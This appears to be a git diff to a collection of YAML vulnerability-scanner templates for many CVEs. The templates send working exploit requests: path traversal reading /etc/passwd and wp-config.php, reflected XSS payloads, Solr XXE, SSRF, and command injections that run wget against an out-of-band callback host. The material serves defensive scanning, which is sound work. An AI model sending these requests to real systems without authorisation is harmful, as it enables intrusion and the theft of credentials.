severity: high + description: Multiple directory traversal vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php. + reference: https://www.cvedetails.com/cve/CVE-2014-4940 + tags: cve,cve2014,wordpress,wp-plugin,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2014/CVE-2014-5368.yaml b/cves/2014/CVE-2014-5368.yaml new file mode 100644 index 0000000000..9b0bd4e453 --- /dev/null +++ b/cves/2014/CVE-2014-5368.yaml @@ -0,0 +1,29 @@ +id: CVE-2014-5368 + +info: + name: WordPress Plugin WP Content Source Control - Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter. + reference: | + - https://www.exploit-db.com/exploits/39287 + - https://www.cvedetails.com/cve/CVE-2014-5368 + tags: cve,cve2014,wordpress,wp-plugin,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php" + + matchers-condition: and + matchers: + - type: word + words: + - "DB_NAME" + - "DB_PASSWORD" + part: body + condition: and + + - type: status + status: + - 200 diff --git a/cves/2014/CVE-2014-8799.yaml b/cves/2014/CVE-2014-8799.yaml new file mode 100644 index 0000000000..2b9c04935c --- /dev/null +++ b/cves/2014/CVE-2014-8799.yaml @@ -0,0 +1,31 @@ +id: CVE-2014-8799 + +info: + name: WordPress Plugin DukaPress 2.5.2 - Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php. + reference: | + - https://www.exploit-db.com/exploits/35346 + - https://www.cvedetails.com/cve/CVE-2014-8799 + tags: cve,cve2014,wordpress,wp-plugin,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php" + + matchers-condition: and + matchers: + - type: word + words: + - "DB_NAME" + - "DB_PASSWORD" + - "DB_USER" + - "DB_HOST" + part: body + condition: and + + - type: status + status: + - 200 diff --git a/cves/2015/CVE-2015-2080.yaml b/cves/2015/CVE-2015-2080.yaml index 3e5bfd8e40..52a97a3a65 100644 --- a/cves/2015/CVE-2015-2080.yaml +++ b/cves/2015/CVE-2015-2080.yaml @@ -15,7 +15,7 @@ info: requests: - method: POST path: - - "{{BaseURL}}/" + - "{{BaseURL}}" headers: Referer: \x00 diff --git a/cves/2015/CVE-2015-2807.yaml b/cves/2015/CVE-2015-2807.yaml new file mode 100644 index 0000000000..087cc89239 --- /dev/null +++ b/cves/2015/CVE-2015-2807.yaml @@ -0,0 +1,31 @@ +id: CVE-2015-2807 + +info: + name: Navis DocumentCloud 0.1 - Unauthenticated Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + reference: | + - https://advisories.dxw.com/advisories/publicly-exploitable-xss-in-wordpress-plugin-navis-documentcloud/ + - https://nvd.nist.gov/vuln/detail/CVE-2015-2807 + tags: cve,cve2015,wordpress,wp-plugin,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/navis-documentcloud/js/window.php?wpbase=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2015/CVE-2015-9414.yaml b/cves/2015/CVE-2015-9414.yaml new file mode 100644 index 0000000000..d0919e1ca5 --- /dev/null +++ b/cves/2015/CVE-2015-9414.yaml @@ -0,0 +1,31 @@ +id: CVE-2015-9414 + +info: + name: WP Symposium <= 15.8.1 - Unauthenticated Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + reference: | + - https://wpscan.com/vulnerability/2ac2d43f-bf3f-4831-9585-5c5484051095 + - https://nvd.nist.gov/vuln/detail/CVE-2015-9414 + tags: cve,cve2015,wordpress,wp-plugin,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/wp-symposium/get_album_item.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2016/CVE-2016-1000128.yaml b/cves/2016/CVE-2016-1000128.yaml index b3dea4bf0d..27d47c8577 100644 --- a/cves/2016/CVE-2016-1000128.yaml +++ b/cves/2016/CVE-2016-1000128.yaml @@ -4,7 +4,10 @@ info: name: anti-plagiarism <= 3.60 - Reflected Cross-Site Scripting (XSS) author: daffainfo severity: medium - reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000128 + description: Reflected XSS in wordpress plugin anti-plagiarism v3.60 + reference: | + - http://www.vapidlabs.com/wp/wp_advisory.php?v=161 + - https://wordpress.org/plugins/anti-plagiarism tags: cve,cve2016,wordpress,xss,wp-plugin requests: diff --git a/cves/2016/CVE-2016-1000139.yaml b/cves/2016/CVE-2016-1000139.yaml new file mode 100644 index 0000000000..3053e62231 --- /dev/null +++ b/cves/2016/CVE-2016-1000139.yaml @@ -0,0 +1,33 @@ +id: CVE-2016-1000139 + +info: + name: Infusionsoft Gravity Forms Add-on <= 1.5.11 - XSS + author: daffainfo + severity: medium + reference: | + - https://wpscan.com/vulnerability/0a60039b-a08a-4f51-a540-59f397dceb6a + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000139 + tags: cve,cve2016,wordpress,wp-plugin,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/examples/leadscoring.php?ContactId=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3C%22" + + matchers-condition: and + matchers: + - type: word + words: + - '"><"' + - 'input type="text" name="ContactId"' + condition: and + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2016/CVE-2016-1000146.yaml b/cves/2016/CVE-2016-1000146.yaml new file mode 100644 index 0000000000..b45691d8da --- /dev/null +++ b/cves/2016/CVE-2016-1000146.yaml @@ -0,0 +1,29 @@ +id: CVE-2016-1000146 + +info: + name: Pondol Form to Mail <= 1.1 - Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000146 + tags: cve,cve2016,wordpress,xss,wp-plugin + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?itemid=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2016/CVE-2016-1000148.yaml b/cves/2016/CVE-2016-1000148.yaml new file mode 100644 index 0000000000..515c9bcf84 --- /dev/null +++ b/cves/2016/CVE-2016-1000148.yaml @@ -0,0 +1,31 @@ +id: CVE-2016-1000148 + +info: + name: S3 Video Plugin <= 0.983 - Unauthenticated Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + reference: | + - https://wpscan.com/vulnerability/ead796ed-202a-451f-b041-d39c9cf1fb54 + - https://nvd.nist.gov/vuln/detail/CVE-2016-1000148 + tags: cve,cve2016,wordpress,wp-plugin,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/s3-video/views/video-management/preview_video.php?media=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22" + + matchers-condition: and + matchers: + - type: word + words: + - '<"' + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2016/CVE-2016-1000149.yaml b/cves/2016/CVE-2016-1000149.yaml new file mode 100644 index 0000000000..b5e0487209 --- /dev/null +++ b/cves/2016/CVE-2016-1000149.yaml @@ -0,0 +1,29 @@ +id: CVE-2016-1000149 + +info: + name: Simpel Reserveren 3 <= 3.5.2 - Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000149 + tags: cve,cve2016,wordpress,xss,wp-plugin + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/simpel-reserveren/edit.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2016/CVE-2016-1000153.yaml b/cves/2016/CVE-2016-1000153.yaml new file mode 100644 index 0000000000..e1ae1a74aa --- /dev/null +++ b/cves/2016/CVE-2016-1000153.yaml @@ -0,0 +1,29 @@ +id: CVE-2016-1000153 + +info: + name: Tidio Gallery <= 1.1 - Unauthenticated Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000153 + tags: cve,cve2016,wordpress,xss,wp-plugin + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/tidio-gallery/popup-insert-help.php?galleryId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2016/CVE-2016-1000155.yaml b/cves/2016/CVE-2016-1000155.yaml new file mode 100644 index 0000000000..4772141fcf --- /dev/null +++ b/cves/2016/CVE-2016-1000155.yaml @@ -0,0 +1,29 @@ +id: CVE-2016-1000155 + +info: + name: WPSOLR <= 8.6 - Unauthenticated Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000155 + tags: cve,cve2016,wordpress,xss,wp-plugin + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2016/CVE-2016-10993.yaml b/cves/2016/CVE-2016-10993.yaml new file mode 100644 index 0000000000..0b2a7df05e --- /dev/null +++ b/cves/2016/CVE-2016-10993.yaml @@ -0,0 +1,31 @@ +id: CVE-2016-10993 + +info: + name: ScoreMe Theme - Unauthenticated Reflected Cross-Site Scripting (XSS) + author: daffainfo + severity: medium + reference: | + - https://www.vulnerability-lab.com/get_content.php?id=1808 + - https://nvd.nist.gov/vuln/detail/CVE-2016-10993 + tags: cve,cve2016,wordpress,wp-theme,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2016/CVE-2016-2389.yaml b/cves/2016/CVE-2016-2389.yaml new file mode 100644 index 0000000000..52a02ca494 --- /dev/null +++ b/cves/2016/CVE-2016-2389.yaml @@ -0,0 +1,27 @@ +id: CVE-2016-2389 + +info: + name: SAP xMII 15.0 - Directory Traversal + author: daffainfo + severity: high + description: Directory traversal vulnerability in the GetFileList function in the SAP Manufacturing Integration and Intelligence (xMII) component 15.0 for SAP NetWeaver 7.4 allows remote attackers to read arbitrary files via a .. (dot dot) in the Path parameter to /Catalog, aka SAP Security Note 2230978. + reference: | + - https://erpscan.io/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/ + - https://www.cvedetails.com/cve/CVE-2016-2389 + tags: cve,cve2016,lfi,sap + +requests: + - method: GET + path: + - "{{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2017/CVE-2017-12629.yaml b/cves/2017/CVE-2017-12629.yaml index b45ec2ee75..8a40ce4dc2 100644 --- a/cves/2017/CVE-2017-12629.yaml +++ b/cves/2017/CVE-2017-12629.yaml @@ -1,26 +1,36 @@ id: CVE-2017-12629 info: - name: Apache Solr <= 7.1 Remote Code Execution via SSRF + name: Apache Solr <= 7.1 XML entity injection author: dwisiswant0 severity: critical - tags: cve,cve2017,solr,apache,rce,ssrf,oob + tags: cve,cve2017,solr,apache,oob,xxe reference: - https://nvd.nist.gov/vuln/detail/CVE-2017-12629 - - https://twitter.com/honoki/status/1298636315613974532/photo/1 + - https://twitter.com/honoki/status/1298636315613974532 + - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE + - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE requests: - raw: - | - GET /solr/select?qt=%2Fconfig%2523%26&shards=127.0.0.1:8984/solq&stream.body=%7B%22add-listener%22%3A%7B%22event%22%3A%22postCommit%22%2C%22name%22%3A%22nuclei%22%2C%22class%22%3A%22solr.RunExecutableListener%22%2C%22exe%22%3A%22sh%22%2C%22dir%22%3A%22%2Fbin%2F%22%2C%22args%22%3A%5B%22-c%22%2C%22%24%40%7Csh%22%2C%22.%22%2C%22echo%22%2C%22nslookup%22%2C%22%24%28whoami%29.{{interactsh-url}}%22%5D%7D%7D&wt=json&isShard=true&q=apple HTTP/1.1 + GET /solr/admin/cores?wt=json HTTP/1.1 Host: {{Hostname}} - | - GET /solr/select?shards=127.0.0.1:8984/solr/update%23&commit=true HTTP/1.1 + GET /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F{{interactsh-url}}%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1 Host: {{Hostname}} matchers: - type: word - part: interactsh_protocol # Confirms the DNS Interaction + part: interactsh_protocol # Confirms the HTTP Interaction words: - - "dns" \ No newline at end of file + - "http" + + extractors: + - type: regex + internal: true + name: core + group: 1 + regex: + - '"name"\:"(.*?)"' \ No newline at end of file diff --git a/cves/2017/CVE-2017-14651.yaml b/cves/2017/CVE-2017-14651.yaml new file mode 100644 index 0000000000..763aeee7c4 --- /dev/null +++ b/cves/2017/CVE-2017-14651.yaml @@ -0,0 +1,28 @@ +id: CVE-2017-14651 + +info: + name: Reflected XSS - WSO2 Data Analytics Server + author: mass0ma + severity: medium + description: WSO2 Data Analytics Server 3.1.0 has XSS in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter. + tags: cve,cve2017,wso2,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&parentPath=%3Cimg%20src=x%20onerror=alert(document.domain)%3E" + + matchers-condition: and + matchers: + + - type: word + words: + - "" + - "Failed to add new collection" + part: body + condition: and + + - type: word + words: + - "text/html" + part: header \ No newline at end of file diff --git a/cves/2017/CVE-2017-18024.yaml b/cves/2017/CVE-2017-18024.yaml new file mode 100644 index 0000000000..5928f214c0 --- /dev/null +++ b/cves/2017/CVE-2017-18024.yaml @@ -0,0 +1,40 @@ +id: CVE-2017-18024 + +info: + name: AvantFAX 3.3.3 XSS + author: pikpikcu + severity: medium + reference: | + - https://hackerone.com/reports/963798 + - http://packetstormsecurity.com/files/145776/AvantFAX-3.3.3-Cross-Site-Scripting.html + - https://nvd.nist.gov/vuln/detail/CVE-2017-18024 + description: | + AvantFAX 3.3.3 has XSS via an arbitrary parameter name to the default URI, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1. + tags: cve,cve2017,xss,avantfax + +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=admin&password=admin&_submit_check=1&jlbqgb7g0x=1 + + matchers-condition: and + matchers: + - type: word + words: + - '' + - 'AvantFAX' + part: body + condition: and + + - type: status + status: + - 200 + + - type: word + part: header + words: + - "text/html" diff --git a/cves/2017/CVE-2017-5487.yaml b/cves/2017/CVE-2017-5487.yaml index 2c0d7e9c1a..f69dbce79e 100644 --- a/cves/2017/CVE-2017-5487.yaml +++ b/cves/2017/CVE-2017-5487.yaml @@ -33,3 +33,8 @@ requests: - '"name":' - '"avatar_urls":' condition: and + extractors: + - type: regex + part: body + regex: + - '"name":"[^"]*"' \ No newline at end of file diff --git a/cves/2017/CVE-2017–4011.yaml b/cves/2017/CVE-2017–4011.yaml new file mode 100644 index 0000000000..a36bc6ec8d --- /dev/null +++ b/cves/2017/CVE-2017–4011.yaml @@ -0,0 +1,31 @@ +id: CVE-2017–4011 + +info: + name: McAfee NDLP User-Agent XSS + author: geeknik + severity: medium + description: McAfee Network Data Loss Prevention (NDLP) 9.3.x allows remote attackers to get session/cookie information via modification of the HTTP request. + reference: + - https://medium.com/@david.valles/cve-2017-4011-reflected-xss-found-in-mcafee-network-data-loss-prevention-ndlp-9-3-x-cf20451870ab + - https://kc.mcafee.com/corporate/index?page=content&id=SB10198 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-4011 + tags: cve,cve2017,mcafee,xss + +requests: + - method: GET + path: + - "{{BaseURL}}" + headers: + User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';alert(/XSS/);// + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "var ua='Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';alert(/XSS/);//" + + - type: word + part: header + words: + - "text/html" diff --git a/cves/2018/CVE-2018-10095.yaml b/cves/2018/CVE-2018-10095.yaml new file mode 100644 index 0000000000..99d22365ce --- /dev/null +++ b/cves/2018/CVE-2018-10095.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-10095 + +info: + name: Dolibarr before 7.0.2 allows XSS. + author: pikpikcu + severity: medium + description: | + Cross-site scripting (XSS) vulnerability in Dolibarr before 7.0.2 allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. + reference: https://nvd.nist.gov/vuln/detail/CVE-2018-10095 + tags: cve,cve2018,xss,dolibarr + +requests: + - method: GET + path: + - "{{BaseURL}}/dolibarr/adherents/cartes/carte.php?&mode=cardlogin&foruserlogin=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&model=5160&optioncss=print" + + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + + - type: status + status: + - 200 + + - type: word + part: header + words: + - text/html diff --git a/cves/2018/CVE-2018-10818.yaml b/cves/2018/CVE-2018-10818.yaml new file mode 100644 index 0000000000..2562be9725 --- /dev/null +++ b/cves/2018/CVE-2018-10818.yaml @@ -0,0 +1,42 @@ +id: CVE-2018–10818 + +info: + name: LG NAS Devices - Remote Code Execution (Unauthenticated) + author: gy741 + severity: critical + description: The vulnerability (CVE-2018-10818) is a pre-auth remote command injection vulnerability found in the majority of LG NAS devices. You cannot simply log in with any random username and password. However, there lies a command injection vulnerability in the “password” parameter. + reference: | + - https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/ + - https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247 + tags: cve,cve2018,lg-nas,rce,oob + +requests: + - raw: + - | + POST /system/sharedir.php HTTP/1.1 + Host: {{Hostname}} + User-Agent: curl/7.58.0 + Accept: */* + Content-Type: application/x-www-form-urlencoded + + &uid=10; wget http://{{interactsh-url}} + + - | + POST /en/php/usb_sync.php HTTP/1.1 + Host: {{Hostname}} + User-Agent: curl/7.58.0 + Accept: */* + Content-Type: application/x-www-form-urlencoded + + &act=sync&task_number=1;wget http://{{interactsh-url}} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + + - type: status + status: + - 200 diff --git a/cves/2018/CVE-2018-14013.yaml b/cves/2018/CVE-2018-14013.yaml new file mode 100644 index 0000000000..6c5d601a6f --- /dev/null +++ b/cves/2018/CVE-2018-14013.yaml @@ -0,0 +1,30 @@ +id: CVE-2018-14013 + +info: + name: Zimbra XSS + author: pikpikcu + severity: medium + description: Synacor Zimbra Collaboration Suite Collaboration before 8.8.11 has XSS in the AJAX and html web clients. + reference: https://nvd.nist.gov/vuln/detail/CVE-2018-14013 + tags: cve,cve2018,xss,zimbra + +requests: + - method: GET + path: + - "{{BaseURL}}/zimbra/h/search?si=1&so=0&sfi=4&st=message&csi=1&action=&cso=0&id=%22%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + + - type: status + status: + - 200 + + - type: word + part: header + words: + - text/html diff --git a/cves/2018/CVE-2018-15517.yaml b/cves/2018/CVE-2018-15517.yaml new file mode 100644 index 0000000000..bfeb74b4de --- /dev/null +++ b/cves/2018/CVE-2018-15517.yaml @@ -0,0 +1,21 @@ +id: CVE-2018-15517 + +info: + name: D-LINK Central WifiManager - SSRF + description: Using a web browser or script SSRF can be initiated against internal/external systems to conduct port scans by leveraging D LINKs MailConnect component. The MailConnect feature on D-Link Central WiFiManager CWM-100 1.03 r0098 devices is intended to check a connection to an SMTP server but actually allows outbound TCP to any port on any IP address, leading to SSRF, as demonstrated by an index.php/System/MailConnect/host/127.0.0.1/port/22/secure/ URI. This can undermine accountability of where scan or connections actually came from and or bypass the FW etc. This can be automated via script or using Web Browser. + reference: + - http://hyp3rlinx.altervista.org/advisories/DLINK-CENTRAL-WIFI-MANAGER-CWM-100-SERVER-SIDE-REQUEST-FORGERY.txt + author: gy741 + severity: medium + tags: cve,cve2018,dlink,ssrf,oob + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php/System/MailConnect/host/{{interactsh-url}}/port/80/secure/" + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/cves/2018/CVE-2018-15745.yaml b/cves/2018/CVE-2018-15745.yaml new file mode 100644 index 0000000000..1c889bef1d --- /dev/null +++ b/cves/2018/CVE-2018-15745.yaml @@ -0,0 +1,27 @@ +id: CVE-2018-15745 + +info: + name: Argus Surveillance DVR - Directory Traversal + author: gy741 + severity: high + description: Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal, leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter. + reference: http://hyp3rlinx.altervista.org/advisories/ARGUS-SURVEILLANCE-DVR-v4-UNAUTHENTICATED-PATH-TRAVERSAL-FILE-DISCLOSURE.txt + tags: cve,cve2018,argussurveillance,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD=" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "for 16-bit app support" + - "[drivers]" + condition: and diff --git a/cves/2018/CVE-2018-16167.yaml b/cves/2018/CVE-2018-16167.yaml new file mode 100644 index 0000000000..a14147df11 --- /dev/null +++ b/cves/2018/CVE-2018-16167.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-16167 + +info: + name: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated) + author: gy741 + severity: critical + description: LogonTracer 1.2.0 and earlier allows remote attackers to execute arbitrary OS commands via unspecified vectors. + reference: | + - https://www.exploit-db.com/exploits/49918 + - https://nvd.nist.gov/vuln/detail/CVE-2018-16167 + tags: cve,cve2018,logontracer,rce,oob + +requests: + - raw: + - | + POST /upload HTTP/1.1 + Host: {{Hostname}} + User-Agent: python-requests/2.18.4 + Accept-Encoding: gzip, deflate + Accept: */* + Connection: keep-alive + Content-Type: application/x-www-form-urlencoded + + logtype=XML&timezone=1%3Bwget+http%3A%2F%2F{{interactsh-url}}%3B + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/cves/2018/CVE-2018-16288.yaml b/cves/2018/CVE-2018-16288.yaml new file mode 100644 index 0000000000..7f8f868002 --- /dev/null +++ b/cves/2018/CVE-2018-16288.yaml @@ -0,0 +1,27 @@ +id: CVE-2018-16288 + +info: + name: LG SuperSign EZ CMS 2.5 - Local File Inclusion + author: daffainfo + severity: high + description: LG SuperSign CMS allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs. + reference: | + - https://www.exploit-db.com/exploits/45440 + - https://www.cvedetails.com/cve/CVE-2018-16288 + tags: cve,cve2018,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2018/CVE-2018-19458.yaml b/cves/2018/CVE-2018-19458.yaml new file mode 100644 index 0000000000..19d401e3d7 --- /dev/null +++ b/cves/2018/CVE-2018-19458.yaml @@ -0,0 +1,27 @@ +id: CVE-2018-19458 + +info: + name: PHP Proxy 3.0.3 - Local File Inclusion + author: daffainfo + severity: high + description: In PHP Proxy 3.0.3, any user can read files from the server without authentication due to an index.php?q=file:/// LFI URI, a different vulnerability than CVE-2018-19246. + reference: | + - https://www.exploit-db.com/exploits/45780 + - https://www.cvedetails.com/cve/CVE-2018-19458 + tags: cve,cve2018,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?q=file:///etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2018/CVE-2018-20470.yaml b/cves/2018/CVE-2018-20470.yaml new file mode 100644 index 0000000000..f330e0e2f4 --- /dev/null +++ b/cves/2018/CVE-2018-20470.yaml @@ -0,0 +1,29 @@ +id: CVE-2018-20470 + +info: + name: Sahi pro 7.x/8.x - Directory Traversal + author: daffainfo + severity: high + description: An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files. + reference: | + - https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/ + - https://www.cvedetails.com/cve/CVE-2018-20470 + tags: cve,cve2018,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + part: body diff --git a/cves/2018/CVE-2018-3810.yaml b/cves/2018/CVE-2018-3810.yaml index dbf3bc07f4..84323e0f2a 100644 --- a/cves/2018/CVE-2018-3810.yaml +++ b/cves/2018/CVE-2018-3810.yaml @@ -18,7 +18,7 @@ requests: - method: GET path: - - "{{BaseURL}}/" + - "{{BaseURL}}" matchers-condition: and matchers: diff --git a/cves/2018/CVE-2018-5233.yaml b/cves/2018/CVE-2018-5233.yaml new file mode 100644 index 0000000000..6dd9374e44 --- /dev/null +++ b/cves/2018/CVE-2018-5233.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-5233 + +info: + name: Grav CMS before 1.3.0 allows XSS. + author: pikpikcu + severity: medium + description: | + Cross-site scripting (XSS) vulnerability in system/src/Grav/Common/Twig/Twig.php in Grav CMS before 1.3.0 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools. + reference: https://nvd.nist.gov/vuln/detail/CVE-2018-5233 + tags: cve,cve2018,xss,grav + +requests: + - method: GET + path: + - "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + + - type: status + status: + - 200 + + - type: word + part: header + words: + - text/html diff --git a/cves/2019/CVE-2019-0193.yaml b/cves/2019/CVE-2019-0193.yaml new file mode 100644 index 0000000000..77a2a57b9d --- /dev/null +++ b/cves/2019/CVE-2019-0193.yaml @@ -0,0 +1,47 @@ +id: CVE-2019-0193 + +info: + name: Apache Solr - DataImportHandler RCE + description: In Apache Solr, the DataImportHandler, an optional but popular module to pull in data from databases and other sources, has a feature in which the whole DIH configuration can come from a request's "dataConfig" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk. Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property "enable.dih.dataConfigParam" to true. + author: pdteam + severity: critical + refrense: | + - https://nvd.nist.gov/vuln/detail/CVE-2019-0193 + - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193 + - https://paper.seebug.org/1009/ + tags: cve,cve2019,apache,rce,solr,oob + 